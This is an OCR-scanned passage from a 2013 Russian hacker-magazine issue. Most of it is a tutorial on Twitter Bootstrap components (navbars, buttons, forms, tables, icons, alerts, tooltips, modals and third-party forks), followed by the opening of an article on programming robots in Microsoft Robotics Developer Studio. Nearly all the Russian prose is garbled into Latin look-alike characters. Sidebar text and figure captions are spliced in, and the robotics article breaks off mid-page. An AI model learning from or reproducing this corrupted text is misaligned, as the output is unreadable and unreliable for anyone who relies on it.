</div>
</div>
</div>
</div>

KctaTw, no ymonyanwutio Habap byneT 6enbiM. YTobbl cenath ero
K1acCcU4ecknM YepHbIM, fobaBb Knacc navbar-inverse.

C HaBbapoM cBA3aH ele oAvH N6ONbITHBIA MogyNb — Scrollspy.
Tol HaBepHsKa BUAEN 3TOT 3 PEeKT Ha MHOXeCTBe CalToB, KOTAa
B 3aBMCUMOCTU OT TOTO, AOKYAA Tbl JOCKPOSIINI, MEHETCSH aKTUBHbIN
3neMeHT Hasbapa (6bIBaeT M0Ne3HO NPY AJIMHHBIX CTPAHNULAX C J10TU-
yecku pasgeneHHbiMu 6nokamu). Tak BoT, nepes To6oi peanuzauuns
3Toit puyn B Bootstrap. Moaknioyait Mofynb co cTpaHuubl Javascript
(bit.ly/0363LD]  NpocTeMLIMMY HABNUTALMOHHBIMU JIMHKaMM YNpaBsii
HaBurauuen Ha cTpanuLe. bonblie MHPbI Mo NpUBEAEHHON CCbIIKE —
TaM Bce 40CTaToYHO NpocTo. ToabKo He 3abyab 3adpukcuposaTb cam
HaBbap HaBepXxy cTpaHuLbl, a To dUKa-To byneT, Ho NoNb3oBaTeNb e,
YBbI, HE YBUAUT.

C HaBbapoM pa3obpannck, norHanv gansie :).

OOPMUPYEM ®OPMbI

OrpoMHbii natoc Bootstrap B ToM, 4To, NpocTo BbIOpaB Hy>XHble Knac-
Cbl, Tbl MONTyYaellb NpodpeccmoHanbHo BeIrNAASLLMe Beb-npunoxeHus
C MUHUMaNbHbIMU yeUANSMU. Tak, 4Tobbl pa3MecTUTb CTaHAAPTHYIO
KHOMKY, UCMONb3YN CNefyLWNN KOA:

<button class="btn btn-large" type="button">«
Large button</button>

Ctunsamu btn-large, btn-small u Tak fanee Tbl MOXeLb ynpas-
NATb pasMepamMu KHOMoK (0HM BbICYNTbIBAKOTCS AUHaMUYecKu). A nx
BHELLUHWI BUJ, MOXHO JIETKO U3MEHUTb Klaccamu Bpofe btn-primary,
btn-success. KctaTu, ecnu Tebe 4eM-To He yroanau CTaHfapTHble
LBeTa B NpefonpesefeHHblX CTUANAX, MOXKELLb UCNONb30BaTh MHOXE-
CTBO reHepaTopoB LIBETOBbLIX CTUMEN, JOCTYNHbIX B CeTu, uan npocto
NOMEHSTb 3HAYEHUS NEPEMEHHbIX NPU FreHepaLnmn KaCTOMHOro CTUAS
(bit.ly/0363LD). U kcTaTu, ucnonb3osaTth 06biuHbIe input'sl BMECTO
button’oB Takxe He Bo3bpaHseTCs — Bbile0O03HAYEHHbIE CTUAN OT-
nnyHo cpaboTatoT 1 Ha input’ax Tvna submit.

KcTaTu, ¢ KHonKaMu cBsizaHa elue ogHa 0cobeHHOCTb. Jlerkum
LBVKEHNEM PYKM Thl MOXELb CAENaTh 04eHb YA00HYI0 rpynny nepe-
KfloyaTtenen, ucnonb3ys JavaScript-nnarvH bootstrap-button.js.
[lenaeTtcs aTo NpUMepHO Tak:

<div class="btn-group" data-toggle="buttons-checkbox">
<button type="button" class="btn btn-primary">1<
</button>
<button type="button" class="btn btn-primary">2<

APT'YMEHTbBI 3A

1. YHuBepcanbHocTb. Twitter Bootstrap nogxogut nnsnpoekTos
nioboii cnoxHocTU MMacLuTaba.

2. Tpo3payHoCTb U APYKECTBEHHOCTbK pa3paboTumnky. Bootstrap—
cBoboAHbIV M BecnnaTHbIA NpoAyKT. EroucxoaHbIMKoa Bceraa 5.
nocTyneHHa GitHub, apa3paboTunku pagbli HoBbIM hopkaMm. Uc-
noNb30BaHWe GppeiMBOPKaTaK)Ke He BbI3bIBAET C/IOKHOCTE MBCEB
Bonblue Mepe 3aBUCUTOTMMetoLLLerocsi o6 beMa 3HaHUM. 6.

3. MoppepxkaLESS. lnsiMHOrMX coBpeMeHHbIX NPOEKTOB BO3MOX-
HocTeli cTanpapTHoro CSSHe xBaTaeT. [lusaitHepaM ToXe cTanu
HYXXHbI «MepeMeHHbIe» U ipyrue KOLEPCKUE LUTYYKU BpoAe
BNOXEHHOCTU GYHKLMI M onepaTopoB. 3Ty npobaeMyycneLHo
pewaeTTexHonorus LESS. Paspabotumkm Twitter Bootstrap He
MOFNM 060MTM3TOT GaKT CTOPOHOM, NO3TOMY BO3MOXHOCTb NpU-
MeHATb LESS 3anoxeHa B dppeiiMBopKe M3 KOpobKu. 7.

4. Toppo6bHas noKyMeHTauus. Ha caiite npoektau GitHub'e
npepcTaB/ieHa xopoLuas AOKYMeHTaLMs, N03BOINAIOLLAN B3ATb
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* bootsnipp.

com — MHorue
BeLuy, KoTopble
3NeraHTHoO AenatoTcs
cnoMouybio Boot-
strap, yXe caenaubl

ObICTPbIV CTAPT U HAWTH OTBETbI HA BO3HUKLLME BoMpockl. BesaTe-
opusipasbaBieHa npUMepaMm, KOTOPbIE TYTIKE MOXKHO OLLEHUTb B
AeicTeum.

MoppepxkajQuery-nnaruHos. C Bootstrapnoctaensercs
cneuuanbHo paspaboTaHHblii Habop NNarnHoB, NO3BONSIOWMX 33
CYMTaHbIe MUHYTbI ,06aBUTb AMHAMUYHOCTU.
KpoccbpaysepHocTb. Co3aaHHble c noMolbio Bootstrap
MPUN0XKEHNS XOPOLLO 0TOBPaXKaIOTCA HE TOJIbKO NOCNeAHUMM
BepcUsMUNonynsipHblx 6pay3epos, Ho M ux npeaKaMu. KoHeuHo,
A06MTHCS COBMECTUMOCTM MO 0TOBPAXKEHMIO CTAaKUMMU APEBHUMMU
MoHcTpamu, kak |E5/6, paspaboTumnkam He ypanock (a HyxHa i
oHa?).Mopagok HaunHaeTcs ¢ IE7 M BbiLLe, YTO HA CErOAHALIHNIA
AeHbNPOCTO 3aMeyaTesibHo.

MNopaepxkaHTML5/CSS3. KosceMHoBbIM duiikam HTMLS
¢$peMBOPK OTHOCMTCS MOSIOXKUTENILHO U MOOLLPSET UX NPUMEHe-
HUe BoYepeHOM NpoeKTe.

M BbINOXKEHBI

B BUAE CHUNNETOB
Ha npoekTe Boot-
Snipp. Mepea tem
Kak noMaTb ronoBy
v pasbupatbces

B Knaccax —
obssaTenbHO
BOCMONb3YHCH ITUM
pecypcowm;

00.9//hQU8mM —
odULMaNbHbIA canT
npoekTa Twitter
Bootstrap.
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KOAUHIr

</button>
<button type="button" class="btn btn-primary">3«
</button>

</div>

Takoi Ko, co34acT rpynny KHOMOK, KaX4as U3 KoTopbix bygeT
paboTaTb TaknM xe 06pa3oM, Kak bbl yHKLMOHMPOBAN 00bIYHbIN Yek-
bokc. A ecnn xoyellb CAeNaTh Ha OCHOBE 3TOr0 Xe nnaruHa optionbox,
HeT HMYero nNpolle — NpPoCTO 3aMeHU COOTBETCTBYIOLWMA CTUMD W...
Byans!

<div class="btn-group" data-toggle="buttons-checkbox">

TekcToBble GOpPMbI CO3AaIOTCHA TOXE 0YeHb NPOCTO, [N 3TOrO A0-
CTaTOYHO CMeymnanbHoro cTuas. Huyero cnoxHoro:

<input type="text" class="input-small" «
placeholder="Email">

Knacc .input-small paboTaeT no Takomy xe NpuHLmMny,
KaK 1 ¢ KHOMKaMu. [ToJIHbI CINCOK CTUMEN Thl MOXeLLb MOCMOTPETb
Ha cTpaHuye bit.ly/Z4XTHB.

ATenepb AaBaii nonpobyem COBMECTUTb MONyYeHHbIE 3HAHNS
1 cienatb KAcCHY0 CTUN30BaHHyo GopMy BBOAA C KHOMKOM OT-
npasku:

<div class="input-append">
<input class="span4" id="appendedInputButton" «
type="text">
<button class="btn" type="button">Co3gaTb</button>
</div>

KoHeuyHo, 3T0 He BCe TPIoKM, KOTOpble MOXKHO MPOBOpPayYnBaTh
€O CTaH[apTHbIMM 31leMeHTaMu BBOAa Ha dopmax. Tak, 1 He pacckasan
0 BO3MOXHOCTSX prepend-nofcka3ok B TEKCTOBbIX NOASX, BbiNafato-
LMX NPSIMO M3 KHOMOK Cnuckax (TpebyeT Hannyns cooTBETCTBYIOLLENO
nnaruHa bit.ly/HB1eph) u MHoroM fpyroM, Ho s fyMato, YTo, NOCMOTPEB
COOTBETCTBYIOLLYIO JOKYMeHTaLuto, Tbl 6€3 TpyAa pasbepelibes v cae-
naelwb BCe N0 aHanormun. [naBHoe — NOHATb NPUHLMM, MO KOTOPOMY
MPOVNCXOANT CTUAU3ALNS 31eMeHTOB GopMbl B Bootstrap. [lanbue
NoroBopuM 0 TaKOM apxauyHoM NHCTpyMeHTe Beba, kak Tabnuubl.

TABJINLbI? HE, HE CJIbILLAT

[a-pa, 4 3Hato, 4To TabAWLbI y LeBEeNONEpOoB HblHYE HE B YeCTH 1 60-
nee npefnoyYTuTenbHa rnbkas u HacTpavBaeMas bno4Has BepcTKa.
0pHako bbIBalOT MOMEHTbI, B KOTOPbIX 6€3 X MCMOMb30BaHNS NPOCTO
He 0bonTHCh. Bbino Bbl rnyno nonarats, 4To paspaboTunku Bootstrap
He MOAOLLIN K 3TOMY BOMPOCY CO BCEI CEPbe3HOCTLIO U He MPOAyMasu
yLobHbIN cnocob GopMUpOBaHUS 3TUX I/IEMEHTOB:

<table class="table table-striped">
<thead>
<tr>
<th>#</th>
<th>Py6puka</th>
<th>KonundectBo cTaTei</th>
<th>KonuyectBo aBToOpoB</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td><td>PC_ZONE</td><td>4</td><td>6</td>
</tr>
<tr>
<td>2</td> <td>KOAMHI</td><td>4</td><td>7</td>
</tr>
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</tbody>
</table>

TyT Huyero HeobblYHoTO. Bootstrap nogaepxvBaeT cTuAn3aLuo
Tabauuy knaccamu Bpoge .table-striped (se6pa-ctaiin) nnu .table-
condensed (nenaet Tabnuuy 6onee koMnakTHo). Ho Thl aymaedis, 9 6b
cTas nucaTh 0 TaKOM NPUMUTUBE, ecivt Obl TYT He Bblno Yero-To bonee
Ba)KHoro?

[leno B TOM, 4To Npu BepcTKe Yepe3s grid 3a4acTyto BO3HUKAET He-
06X0MMOCTb 3a/1aTh PSALI HEPABHO3HAYHOM «BbICOTbI». Hanpumep,
Korga B NeBOM YacTu cTpaHuubl y Tebs dopMa BBOAA C NATbIO NONAMM
(kaxpoe, ecTeCTBEHHO, B CBOeM psay), a B npaBoi fo/KHa bbITh
CNOLWHAs KapTUHKa, MOACKA3Ka MV NpocTo faxe baHHep, KOTopbI
LLOSDKEH MPOCTUPATHLCS Ha BCE 3TU NATb PAA0B M0 BbICOTE W MPW 3TOM
TeXHWYeCKn NpeacTaBnaTb coboi 0fMH-e ANHCTBEHHbIV row. OgHUM
13 pelleHnit nogobHo Nnpobnembl M ABNAETCS UCNONb30BaHMe Tabnull.
OHu B Bootstrap TouHo Takue xe, Kak v grid’sl, 1 NoAAePXMBAIOT LUHA-
MUYeckoe n3MeHeHue pa3mepos knaccamu spanN. MpocTo onepupyi
aTpubyTaMu rowspan, 1 Tl CMOXeLLb CBEPCTaTh NPAKTUYECKK Ntobyto
KOMMO3MLMIO 3.

TPAOUKA BY GLYPHICONS

BaHbIM NyHKTOM B rpadunyeckoii coctaBnstoLiet Bootstrap asnsetcs
BO3MOXHOCTb ByKBaIbHO OHOM CTPOKOW KOJj@ BHOCUTb Nerkne WTpw-
XV B 3N1€MEHTbI AN3aiHa CTUSbHLIMU 1 BEOABAHONbHBIMU UKOHKAMK
ot Glyphicons (bit.ly/zqtkSt). ikoHku noALenasioTcs caMuMm CTUASMY
¥ MOryT ObITb MCMOMIb30BaHbI NpakTU4ecku Be3fe. Tak, 48 Co3haHus
KHOMKU-NINHKA (MIMEHHO IMHKA, C UHMYTaM1 UMEHHO TaKon MeTog,

He NpoKaTuT!) NPoCTO CO3/alt 31EMEHT <i> 1 yKaXKu eMy COOTBETCTBY-
oM KNacc:

<a class="btn btn-primary" href="#"><i class="icon-user «
icon-white"></i> Xakep</a>

Ctunb icon-white yka3biBaeT Ha To, 4TO MKOHKY Hafo 6paTb U3 «be-
n0ro» naketa rpadmkm (HyXHO AN KHOMOK «TEMHbIX» CTUEN TUna
primary, warning, inverse u Tak fanee).

MAJIEHBKWE MPUATHOCTH

ByTcTpan nopaxaeT cBoei NpofiyMaHHOCTbH. [oYTH Ha KaX Ayt Me-

N0Yb, KOTOPasi MOXKET NOHaf00bUTHCS B MOBCEJHEBHOM BEPCTKE, y pas-

paboTynkoB HaWpeTCs BenvKkonenHoe peleHne. Cpefn Takux Menoyen

ecTecTBEHHO, He Bce):

e Aneprbl. [lpocTo 3agan div'y knacc alert c alert-error unu alert-
success, etc. 1 NoAyYMLWb CUMMNATUYHBIA U CTUIBHBIA MHGOPMaLK-
OHHBbI BOKC, OTSIMYHO NOAXOAALWMIA AN1F BCAYECKUX YBEA0MEHUNA.
He 3abyab gobaBnTb emy close button co ctpanuybl JS-nnarunHos.

e A66peBuaTypsbl. [pocToii ¥ NOHATHLIN CNOCOD NOKa3a NOSCHEHW
NN YyTOYHEHWMIA.

<abbr title="IT-myp3unka">Xakep</abbr>

e Appeca. 3neck 6e3 koMmeHTapueB — works like a charm. O ¢op-
MaTe MOXelLlb CrpaBuTbes Ha bit.ly/SqSMPI.

<address>

<strong>Xakep</strong><br>

JleHuHckas cnobogja, 19<br>

MockBa, Poccusa<br>

<abbr title="TenepoH">T:</abbr> (495) 123-4567
</address>

e LutaTtbl. [pocTble M cTUAbHbBIE.
<blockquote>

<p>0TAnYHbIA XypHan!</p>
</blockquote>
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LLisenuapckunin Hox ans Ul

¢ WUHdopMaLnoHHbIe nenbnbl:

<span class="label label-success">loToB0o</span>
¢ CUMnaTUYHbIe 3HAYKK:

<span class="badge badge-info">HoBblii</span>

e BcnnbiBalowme noackasku. [lymato, HeT HyX bl 06bACHATD,
OJ15 4ero oHM MoryT noHapobutbes. PasmeTka, Kak 06bI4YHO, upes-
BblYaliHO NpocTa:

<a href="#" id="tooltipl" rel="tooltip" «
data-placement="top" data-original-title=«
"Co3paTenb ProcMon">Mapk PyccuHoBMY</a>

[na akTuBauuu TynTuna yepes jQuery ncnonb3yi GyHKLMIO:
$('#tooltipl').tooltip(options)

B kauecTBe options MoxeT 3afiaBaTbCsi HAbOP NapaMeTpoB OTCHAA:
bit.ly/zJbTZW

e MopanbHble 0KHa. [epoii Hallel cTaTbi NO3BONIAET C YAUBUTENb-
HOW NerkoCTblo Peann30BblBaTb U CJI0XKHbIE [MaN0roBblie 0KHa He-
CKONbKMMU CTPOKaMM Kofa. HyXHO ToNbKo He 3abbiTb NOAKMIOUYNTD
nnarvH bootstrap-modal.js — ecnu, KOHEYHO, OH yXKe He BKJOYeH
B TBOV bootstrap.min.js (4To, BIpoYeM, 0THOCUTCS W KO BCeM
ocTanbHbIM JS-nnarnHam). C Lesibio 3KOHOMUM MecTa B XypHale
He ByAy NPMBOANTb NOJHbLIN KOG, CKaXYy TONIbKO, 4TO CYLLeCTBYIOT
nBa cnocoba paboTbl ¢ MOAANbHBIMU OKHAMK — C NMOMOLLbIO aTpnby-
TOB 1 Yepe3 JS. 3a noapobHON MHPopMaLMelt oTnpaBasics cloaa:

bit.ly/AwrAdk.

OnATb-Taky, A Nepeyncann faneko He BCe MNAAruHbl U NPUATHbIE
Mesoun GpeitMBOpKa, a cneuyanbHo npobexancs ToAbKO No Heko-
TopbiM duyam Bootstrap gns Toro, 4tobbl NpescTaBUTL Tebe x0T Obl
4acTb U3 TOTO TUraHTCKOT0 UHCTPYMEHTapWs BEPCTabLLKa, KOTOPbIN
naet HaMm Twitter Bootstrap.

OOPKW 1 TBUKU TWITTER BOOTSTRAP

Ycnex npoekTa BAOXHOBW MHOTMX pa3paboTynkoB Ha co3faHue pop-
KOB — afibTepHaTWUBHbIX peanusaunii npoaykTa. Bcem nonpaeunace
naes ucnonb3oBaTb GpeMBOPK LNs 6bICTPOro co3faHus MHTepdencos
B OMnpefiefleHHoM cTue. Takux GopKoB MHOTO, U KaXAbli N3 HUX 0~
Ka3blBaeT, 4To Twitter Bootstrap cnocobeH He Tonbko Ha opopMneHue
B cTune Twitter, Ho 1 Ha MHoroe Apyroe.

Hanpumep, ecnn HoBbI MHTepdelic cepBucos Google Bbi3biBaeT
y Teb5 NnpuaTHbIe aMoL UK, To 0ba3aTensHo nonpobyit dopk Plusstrap
(xbreaker.github.com/plusstrap). 310 ToT %e Bootstrap ¢ ogHUM Anwwb
OTNMYMEM — BHELLUHWI BUJ, BCEX 3/1EMEHTOB CAie1aH B CTUJle 00HOB-
JIEHHOTO fiu3aiiHa NPUNoXeHU «Koprnopauum fobpa».

AHanornyHas cutyayms c nobutenamu ctunsg nHtepdeiica Metro,
MPUHSATOrO Ha BOOPYXXeHWe B HoBoncnevyeHHoi Windows 8. /M 0ba-
3aTeNlbHO CTOMT nonpobosaTts dopk Bootmetro (aozora.github.com/
bootmetro). Hy a daHaToB counansHoii cetn Facebook sBHo TpoHeT
FBootstrap (ckrack.github.com/fbootstrapp).

Kazanoch bbl, Kyaa yxe npoue? Xopowas JOKyMeHTalUus, no-
HATHBIA KOZ MO3BOJIAIOT YCMELHO NPUMEHSATb 3TOT peiiMBOPK Beb-
MacTepaM C pa3HbiM ypOBHEM 3HaHWIN, HO, OKa3blBAeTCH, YNPOLLEHUIO
HeT npefena. «A 4To TyT elle ynpowats? Bpoae Bce  Tak npo3pauy-
Ho!» 7l Toxe Tak cyMTalo, OfHAKO APOCTHbIE dpaHaTbl APYroro MHEHWUS.
Bepfb ToNbKO Tak MOXHO 06 BACHUTL NOSIBAEHWE PA3/INYHbIX BCMO-
MoraTefbHblX CepBncoB, Aenatwmux paboty ¢ Twitter Bootstrap ewe
npodie.

BoT B3aTb x0T 661 NpoekT BootSwatchr (bootswatchr.com). Ero
YCNYrn NpUrofaTCsa, eCan Tbl BAPYT PELINLLIb BHECTU U3MEHEHUS
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B CTaHAApPTHbIN AnucTpunbytne Twitter Bootstrap. loBops gpyrumu cno-
BaMu — «CTUNN30BaTb GpeiMBOPK Nog cebs».

A1 NoHMMato, 4TO Thl NapeHb He MPOMax 1 roToB BCe CAeNaThb pyyka-
Mun B CSS-dainax, Ho B BootSwatchr Te xe caMble onepauum genatTcs
Ha nopsafok boicTpei. A Bce MOTOMY, 4TO CEpBUC NpefoCcTaBnseT ya06-
HbI MHTepdenc LNs BHECEHUS U3MeHeHMI. HanpuMep, eciu Thl 3axo-
Ten uHave opopMUTL TUMOBBIE KHOMKK, TO MPOCTO BbibMpaelb pas3gen
Buttons v cpa3sy npucTynaews K npaBke HyXHbIX CBOWCTB (Hanpumep,
n3meHeHuio uBeTa poHal. Mpouecc HanoMuHaeT ncnonb3osaHue 06b-
€KTHOr0 MHCMeKTopa B pa3/inyHbIX cpefax pa3paboTku. Takoit nogxon
LeicTBYeT A5 U3MeHeHUs BCex 3neMeHToB UHTepdelica. B obwem,
3anyTaTbCs U NOTEPATHCH OAHO3HAYHO He MONyYnTCS.

Mpw ctunusayun Twitter Bootstrap Tebe npugetcs nonomats ronosy
1 XOpOLIEHbKO NPoAyMaThb byAyLLyto LIBETOBYK raMMy 371eMEHTOB ynpas-
neuuns. B ctaHpapTHoM odopMierun Bee LiBeTa xopolwo cbanancupo-
BaHbl, M0O3TOMY Ha BbIXOfie Tbl U MONyYaellb WefeBp, KOTOPbIA NOYTH
HUKOMY He pexeT rnas.

Mpu co3panuu ceoero odopmneHus Bcs pabota no Buibopy LBe-

TOB JIOXWTCS Ha TBOW nyieyn. Ha nepBbIf B3r/s MOXKET NOKa3aTbCs,
4TO CJTOXKHOTO 3[1€Ch HUYETO HET, HO 3TO TOJIbKO Ha nepBbiit. MoabrpaTth
LiBeTa HYXHO C YMOM, 1 €CJIV 3[1eCb HeT OMbITa, TO NepBbii 6anH 069-
3aTesbHO BbINAET KOMOM. YT0bbl Kak-To yNpoCTUTb 3Ty 3ajauy, 1 bbin
cospaH cepauc Lavish (www.lavishbootstrap.com).

[Tpv noMoLLM 3TOr0 KpeaTUBHOTO pelleHns co3fjaHne LiBeTOBO
CXeMbl yNpoLLaeTcs J,0 HECKOIbKUX KJTIMKOB MblLWWKoOW. Tebe BocTaTouHO
cKopMuTb Lavish nsobpaxeHue, a oH 3aiiMeTCs €ro aHaM3oM 1 cosfa-
HMEM Ha ero oCHOBe LiBETOBOW cXeMbl. Kak nokasana npakTvka, uyBeTta
noAbupanTCs [OCTaTOYHO XOPOLLO (BCE 3aBUCUT OT UCXOAHOTO M306pa-
XeHUs) U OHU BNOJTHE NPUTOAHbBI AN NPUMEHEHMS B PeabHOM MpoeKTe.

Xopollo, Kak CTUAN30BaTb W NpaBUAbHO NofbupaTh LBeTa A5 Jt0-
bumoro dpeiiMBOpKa, Thl 3HaELWb. 3HAYMT, Tenepb Nopa nepexoLuTb
K camoMy BKycHoMy. OKa3blBaeTcs, 4To C03[jaBaTb KpacuBble MPOTOTUMbI
MPUITOXEHWI B HEKOTOPBIX CIy4asix MOXHO, BoobLue He npuberas K Ha-
nucaHutio n be3 Toro npocToro Koja. B nHeTe ecTb HECKONBKO CEPBUCOB,
no3BOMAKLMX NPOTOTUNNPOBATL byAyLllee NPUOKEHNE C MOMOLLbIO
BM3YyasibHblIX KOHCTPYKTOPOB.

B Hux Tebe nuwb TpebyeTtca KMAaTh Ha GOPMOYKM HYXKHbIE 31EMEHTHI
ynpaeneHus (MpMMepHo Tak Xe, Kak 3To genaetcs g Visual Studio uan
Delphi] ¥ ycTaHaBnMBaTb HeobxoanMble cBoCTBa. [Nocse 3aBepllerus
MPOeKTUPOBaHNA BECb CO3JjaHHbIN MPOEKT NOMeLL,aeTCs B apxm1B, KOTO-
pblii BMOCNIEACTBUM COXPAHAETCH Ha KOMMNbIOTEp NS faNbHellen pa3-
paboTku. OOHMM 13 TaKNX cepBMCcOB aBaseTca Jetstrap (jetstrap.com).
Moka aBTOpbI NpoeKTa He B3MMaloT NaTy, N0O3TOMY M0/b30BaTHCS 3TUM
CEepBMCOM MOXHO B NI0ObIX 06bemax, He 0TAaBas HU KOMEenku.

BbIBEOP 3A TOEOM

EcTb Takas cTapas WwyTKa 0 TOM, YTO AN NOCSie CMepTK nonagatoT

B UMCTUANLLE, @ BEPCTaNbLUMKN — B BepcTanuule. Tak BOT, NCMOb3YA
Bootstrap, Tbl cMoxeLwb n3bexaTb nofgobHo pagocTn bnarogaps ymucTo-
My, NPO3PayHOMY M BaNMAHOMY KOAY. :) KoHeuHO, HEBO3MOXHO BMECTUTb
naxe 6ernbiil 0630p Bcex ocHOBbLIX puLlek Bootstrap B wectnctpa-
HUYHBI dopMaT, f1a M Hallelt Lenblo bbino He 3To. [NaBHoe — 3T0 AaThb
nepBNYHOE MOHUMaHMNA 0 HACTOALLMX BO3MOXHOCTAX 3TOMO MOLLHENLLEro
dpeiiMBOpKa 1 320CTPUTb TBOE BHUMaHMWe Ha KJIl04eBbIX HanpaBeHKsX,
B CTOPOHY KOTOPbIX HY>HO KonaTb. Bcerga nomuu, 4to Bootstrap — 3to
He npocTo Habop CcTUNen, a HacTOALWMIA GYHKLMOHANBHBIN GperiMBOpK
ns Ul, KoTopblil B HEKOTOPbIX CAlyYasix MOJIHOMPaBHO onpegenseT 6us-
Hec-710rnKy camoro npunoxenus. N ecnu yto-to Tebe KaxeTcs Henoruy-
HbIM 1 Hepeann3yeMbIM, MPOCTO 3arNAHN B JOKYMEHTaLo — yBepsto
Tebs, Tl HalAelWb peLleHne cBoen Npobnemsl.

Boobue, ncnonb3osaTh KM HeT B cBoMX Beb-npunoxenunax CSS-
bpeliMBOpKM — NNYHOE feno Kaxaoro. Henb3s ckaszaTb, YTO NPOEKT,
OCHOBaHHbI Ha GppeiiMBOpKe, XyXXe UK NlyyLie. 3To SNLWb UHCTPYMEHT,
CnocobHbI B yMeNbIX pyKax TBOPUTb YyAeca U 3KOHOMUTL BpeMs.

OH He cMOXeT cienaTb BCo paboTy 3a Tebs, HO OH MOXET NOMOoYb 3a-
KPbITb FN1a3a Ha HEKOTOopble PyTUHHbIE MOMEHTbI, 4Tobbl AeBenonep
cocpefioTounCS Ha bonlee BaXHbIX 3afayax. 30
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BbIkNloyas KoMnbloTep, Tl BBEAEHWE (S5 bt tetes Lol
B HacToslLLee BpeMsi cyLlecTByeT bonbLuoe Konn- ([T —————— .
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KOMMblOTEp AoMaluHuin? XeatuT Microsoft Robotics Developer Studio [MRDS). B co- T i .
ctaB MRDS Bxoput Visual Simulation Environment e T T

3TO TepneTb, HaA0 3aKaH4YnBaTb (cumynatop), Visual Programming Language (VPL, asbeat. Covanr Simvudatien Masfrasemi
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Ha3HayeH Ans pa3paboTKM NporpaMM ynpasaeHus Gt e T S e L
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< Ha Auarpamme (guarpamma — nporpamma Ha a3bike % bt e seatrie Sewetaine

BXOXAEHUA — HUIKUW. 'D'ﬂﬂ VPL) ynpasnsioiwmx 610K0B 1 COEAMHEHNM UX CBA- i R

Hayasa Tebe HY>XXeH KOMMbloTep, 35MU 1S ONpefiesIeHnst NOPsiAKa BbIMONHEHUS. Pt s bmarestlrem st ——

napa coTeH 6aKCOB Ha po60Ta MT,EE:LpaMMa, co3gaHHas B VPL, MomeTynpaB-_ | RN ] et |

peanbHbIM poboToM, Tak 1 poboToM B ey
[CM. BpGBKy] M 3Ta CTaTb4d. MynsTope. [o3ToMy, 0Tnaaue AuarpaMmy Ha pobote  Puc. 1. Cincok ManndecTos

096 XAKEP 01/168/2013



CraHb poboToTexHWKOM!

Comment:

Hame

SerylptedSenercDFerentaiDmve

Configueation

Use a mamdest =%
Lipnifest:

A& IRosot Lreate Smuiavon Mandest ami £J
mport ..

Puc. 2. HacTpoika cepBuca

B CUMYATOPE, Tbl CMOXKELUb, HEMHOTO M3MEHWB Ha-
CTPOWKM AWarpaMMbl, NCMosb30BaThb €€ AJs yrnpas-
JIeHNs peanbHbiM poboTom (0BbIYHO M3MeHeHNs
CBfi3aHbl C KaNMbPOBKOW CEHCOPOB U HACTPOWKON
MoTopos). Bonee Toro, paspaboTaHHas guarpamMma
MOXET UCMONb30BaThCA (C HE3HAUNTENbHBIMY N3-
MeHeHWsaMU) ¢ pasHbIMU TUNaMu poboToB.

Bnoku, KoTopble MOXHO pa3MecTuTb Ha fina-
rpamme, 6bIBalOT 1BYX BUAOB:

X & Move XZ
Y 000 Move X

Move Y
£ n.ms. Move Z
Rotation Botate XvZ
¥ 0 Retata X

Rotats Y
Y 0025 R z
Z 0

Puc. 3. MapameTpbl 06bekTa

XAKEP 01/168/2013

. JHeprus, nogaBaeMasi Ha
C%C:::p"'o": MonoxeHue pobota neBoe npasoe
Koneco Kosieco
001 nuHua npasee pobota  k 0,1*k
010 poboT Hap NnHKe 0,5*k 0,5*k
011 nuHua npasee pobota  0,5%k 0,1*k
100 NnHWA neBee poboTa 0,7*k k
110 NnHWs neBee poboTa 0,7*k 0,5*k
101,111,000  poboTnotepsan nuumio  0,3*k 0,2*k

Ta6nuua 1. NpaBuna ynpaBneHus po6otom

1. BasicActivity (6a3oBbiit 610k] — ncnonb3yerca
AJ151 yrpaB/IeHMs NPOLLECCOM BbINONHEHNS Ana-
rpammbl (MpoBepKka ycnoBus, BbIYUCTIEHNE Bbipa-
KEHWIA, OnpefieNieHre KOHCTaHT 1 Tak danee).

2. Service (cepsuc) —npeaHasHayeH gna ynpasne-
HUS peanbHbIM pob0TOM UK pobOTOM B CUMYNS-
Tope. Kaxablii cepsuc, B oTNN4YMe 0T 6a3oBoro
0710Ka, IMEET YHNKAJIbHOE UMS.

Bnok (cepsuc nnm 6azosbiit 610k) 0bpabatsi-
BaeT flaHHble, MOCTYNaloLLMe Ha ero BXOf, a Takke
BO3BpaLLaeT pe3ynbTaThl CBOEN paboThl Ha BbIXO-
abl. ok uMeeT fiBa TMNa BbIXOAOB:

a) pesysnbTUPYIOLMIA BEIXOL — MCMOJIb3yeTCs
LNs NonyYeHns peynbtaTo 06paboTku 6nokom
BXOfHbIX AaHHbIX (0603HaYaeTCs TpeyrosbHUKOM
KpacHoro ugetal;

6) yBemoMAAKLLMIA BbIXO — MCMONb3YeTCA [/1A N0-
Ny4eHus MHGopMaLLM 06 U3MEHEHUU BHYTPEH-
Hero cocTosiHus 6110Ka, HanpuMep Ans cepsuca
(06o3HauaeTcs Kpyrom KpacHoro ugetal.

lMpouecc BbINONHEHWUS AMarpamMMbl COCTOUT
B TOM, 4T0 6/10KM NocnefoBaTesbHo (unu napan-
nenbHo) 0bMeHunBatoTCS coobLyeHnamMn. brok

oo,

aKTWUBWPYeTCs TObKO TOTAa, KOFAa Ha ero BXog,
npuxoguT coobujerne. Coobuierns B VPL noxoxm

Ha CTPYKTypbl B A3blkax Pascal nnu C. Coobuienne
BKJII0YAET NOSIS, KaXKA0€ U3 KOTOPbIX ONMUChIBAETCS
MMEHEM Y TUMOM [LaHHbIX.

OMNCAHWE 3A0AYN
[Moka Tl ele He 063aBencs NYHBIM PobHoTOM,
[aBail MOTPEHWPYEMCS Ha CUMYNIATOpE.

B cvmynaTope Ha ropu3oHTanbHOM NoBepX-
HOCTM pa3MellaeTcs poboT u NnHUs. YcnoBumcs,
4TO INHMS TEMHee NnoBepxHocTU. 3afaya pobota —
MaKCHMMasbHO BbICTPO NepeMeLLaTbCs Mo UHUK
0T cTapTa 4o GuHMWa. [Ins OBVXKEHNS N0 INHUM
B COCTaB poboTa [OMKEH BXOAUTL OAWH UN He-
CKOJIbKO CEHCOPOB SPKOCTH. B B1HapHbIX TepMuHax
CEHCOop SPKOCTU MOXET HaXo4UTbCS B iBYX CO-
CTOAHUSAX:

1. 0—ceHcop HaxoanTCs Haj IMHUEN.
2. 1—CceHcop HaXOAMTCS 3a NPefenamMu IMHWN.

[onycTum, 4To 3HaYeHWe IPKOCTU, U3MEpEH-
HOe CeHCopoM, HaxoauTcs Ha oTpeske [0; 1], Toraa
OMpefenuTb COCTOSHUS CEHCOPa MOXKHO C NOMO-
bt CeayoLLMX NpaBu:

g Wt L]
- -
-4 -
i L e
i
